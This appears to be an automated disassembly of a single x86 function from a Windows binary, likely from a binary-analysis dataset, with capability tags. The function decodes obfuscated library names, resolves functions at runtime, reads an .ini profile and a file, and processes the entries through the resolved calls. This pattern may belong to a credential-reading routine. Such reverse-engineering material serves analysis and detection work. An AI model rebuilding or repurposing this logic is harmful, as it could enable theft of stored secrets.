Function at 0x47bd94
Capabilities:
Get file size
Link many functions at runtime
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3f
push 0
push 0
dec ecx
jne 0x47bd9c
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x47c65d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x4a879c
call fcn.00405428
lea edx, [ebp - 0x188]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x188]
push 0x47c674
push 0x47c690
lea eax, [ebp - 0x184]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x184]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
lea edx, [ebp - 0x190]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x190]
push 0x47c674
push 0x47c6a8
lea eax, [ebp - 0x18c]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x18c]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
lea edx, [ebp - 0x198]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x198]
push 0x47c674
push 0x47c6bc
lea eax, [ebp - 0x194]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x194]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
lea edx, [ebp - 0x1a0]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x1a0]
push 0x47c674
push 0x47c6d0
lea eax, [ebp - 0x19c]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x19c]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
lea edx, [ebp - 0x1a8]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x1a8]
push 0x47c674
push 0x47c6e4
lea eax, [ebp - 0x1a4]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1a4]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
lea edx, [ebp - 0x1b0]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x1b0]
push 0x47c674
push 0x47c6f8
lea eax, [ebp - 0x1ac]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1ac]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
lea edx, [ebp - 0x1b8]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x1b8]
push 0x47c674
push 0x47c710
lea eax, [ebp - 0x1b4]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1b4]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
lea edx, [ebp - 0x1c0]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x1c0]
push 0x47c674
push 0x47c728
lea eax, [ebp - 0x1bc]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1bc]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
push 0x47c734
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x28], eax
push 0x47c740
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x2c], eax
push 0x47c758
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x30], eax
push 0x47c770
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x34], eax
push 0x47c784
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x38], eax
push 0x47c794
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x3c], eax
push 0x47c7a4
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x40], eax
push 0x47c7b4
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
push 0x47c7c0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
lea edx, [ebp - 0x1c8]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x1c8]
push 0x47c674
push 0x47c6a8
lea eax, [ebp - 0x1c4]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1c4]
call fcn.0047bd60
test al, al
je 0x47c632
lea edx, [ebp - 0x1d0]
mov eax, 0x26
call fcn.0047bc38
push dword [ebp - 0x1d0]
push 0x47c674
push 0x47c6a8
lea eax, [ebp - 0x1cc]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1cc]
call fcn.004058b8
push eax
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
push 0x47c7dc
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a87a0], eax
push 0x47c7ec
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a87a4], eax
push 0x47c7fc
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a87a8], eax
push 0x47c810
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a87ac], eax
push 0x47c820
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a87b0], eax
lea eax, [ebp - 0x44]
push eax
push 8
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea edx, [ebp - 0x1d8]
mov eax, 0x1a
call fcn.0047bc38
push dword [ebp - 0x1d8]
push 0x47c838
push 0x47c854
lea eax, [ebp - 0x1d4]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1d4]
call fcn.004058b8
push eax
push 0x104
lea eax, [ebp - 0x165]
push eax
push 0x47c864
push 0x47c868
push 0x47c870
call sub.kernel32.dll_GetPrivateProfileStringA
lea edx, [ebp - 0x1e0]
mov eax, 0x1a
call fcn.0047bc38
push dword [ebp - 0x1e0]
push 0x47c838
lea eax, [ebp - 0x1e4]
lea edx, [ebp - 0x165]
mov ecx, 0x105
call fcn.00405698
push dword [ebp - 0x1e4]
push 0x47c884
lea eax, [ebp - 0x1dc]
mov edx, 4
call fcn.004057bc
mov eax, dword [ebp - 0x1dc]
call fcn.004058b8
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
push 0
push edi
call sub.kernel32.dll_GetFileSize_1
mov ebx, eax
mov eax, ebx
call fcn.00402ef0
mov esi, eax
push 0
lea eax, [ebp - 0x48]
push eax
push ebx
push esi
push edi
call sub.kernel32.dll_ReadFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 4]
mov edx, esi
call fcn.00405620
mov eax, esi
call fcn.00402f0c
mov edx, dword [ebp - 4]
mov eax, 0x47c89c
call fcn.00405a04
mov ecx, eax
add ecx, 2
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
test eax, eax
je 0x47c25b
sub eax, 4
mov eax, dword [eax]
test eax, eax
jg 0x47c2be
lea edx, [ebp - 0x1e8]
mov eax, 0x1a
call fcn.0047bc38
push dword [ebp - 0x1e8]
push 0x47c838
lea eax, [ebp - 0x1ec]
lea edx, [ebp - 0x165]
mov ecx, 0x105
call fcn.00405698
push dword [ebp - 0x1ec]
push 0x47c8a8
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.004057bc
mov eax, dword [ebp - 0x20]
call fcn.0047bc80
lea eax, [ebp - 4]
mov edx, dword [0x4a879c]
call fcn.004054c0
lea edx, [ebp - 0x1f4]
mov eax, 0x1a
call fcn.0047bc38
push dword [ebp - 0x1f4]
push 0x47c838
lea eax, [ebp - 0x1f8]
lea edx, [ebp - 0x165]
mov ecx, 0x105
call fcn.00405698
push dword [ebp - 0x1f8]
lea eax, [ebp - 0x1f0]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x1f0]
call fcn.004058b8
push eax
call dword [ebp - 0x28]
pop ecx
test eax, eax
jne 0x47c620
call dword [ebp - 0x30]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x47c61d
push 0
push 1
mov eax, dword [ebp - 0x4c]
push eax
call dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x47c615
jmp 0x47c605
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x47c89c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 8]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x47c380
mov eax, dword [ebp - 0x50]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
add ecx, 3
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c8c0
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405920
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x47c3cb
mov eax, dword [ebp - 0x54]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
add ecx, 2
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405960
lea edx, [ebp - 0x1fc]
mov eax, dword [ebp - 0x1c]
call fcn.00409ae0
cmp dword [ebp - 0x1fc], 0
je 0x47c41c
push dword [ebp - 0x1c]
push 0x47c8c0
push 0x47c8cc
push dword [ebp - 0xc]
push 0x47c8e0
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.004057bc
jmp 0x47c5f5
push 0x47c8cc
push dword [ebp - 0xc]
push 0x47c8e0
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004057bc
jmp 0x47c5f5
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c8c0
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405920
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x47c468
sub ebx, 4
mov ebx, dword [ebx]
lea ecx, [ebx + 2]
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405960
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x47c484
sub esi, 4
mov esi, dword [esi]
push esi
mov eax, dword [ebp - 0x10]
call fcn.004058b8
push eax
lea eax, [ebp - 0x171]
push eax
push 0
call dword [ebp - 0x2c]
add esp, 0x10
push 0
lea eax, [ebp - 0x17d]
push eax
lea eax, [ebp - 0x171]
push eax
call dword [ebp - 0x38]
add esp, 0xc
test eax, eax
jne 0x47c508
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x179]
call fcn.00405620
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x175]
call fcn.00405b48
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x47c4ea
mov eax, dword [ebp - 0x58]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x47c4fd
lea eax, [ebp - 0x10]
mov edx, 0x47c8ec
call fcn.004054c0
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
call fcn.004056f4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c8c0
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405920
mov edi, dword [ebp - 0x14]
test edi, edi
je 0x47c535
sub edi, 4
mov edi, dword [edi]
lea ecx, [edi + 2]
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x47c55c
mov eax, dword [ebp - 0x5c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0x14]
call fcn.004058b8
push eax
lea eax, [ebp - 0x171]
push eax
push 0
call dword [ebp - 0x2c]
add esp, 0x10
push 0
lea eax, [ebp - 0x17d]
push eax
lea eax, [ebp - 0x171]
push eax
call dword [ebp - 0x38]
add esp, 0xc
test eax, eax
jne 0x47c5f5
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x179]
call fcn.00405620
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x175]
call fcn.00405b48
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
je 0x47c5c5
mov eax, dword [ebp - 0x60]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x47c5d8
lea eax, [ebp - 0x10]
mov edx, 0x47c8ec
call fcn.004054c0
push dword [ebp - 0x1c]
push 0x47c8e0
push dword [ebp - 0x18]
push 0x47c8e0
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004057bc
mov eax, dword [ebp - 8]
call fcn.004056e8
test eax, eax
jne 0x47c43b
mov eax, dword [ebp - 4]
call fcn.004056e8
test eax, eax
jne 0x47c348
mov eax, dword [ebp - 0x4c]
push eax
call dword [ebp - 0x40]
pop ecx
call dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
call fcn.004058b8
mov edx, eax
mov eax, dword [ebp - 0x24]
call fcn.00405620
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47c664
lea eax, [ebp - 0x1fc]
mov edx, 0x1f
call fcn.0040544c
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.0040544c
ret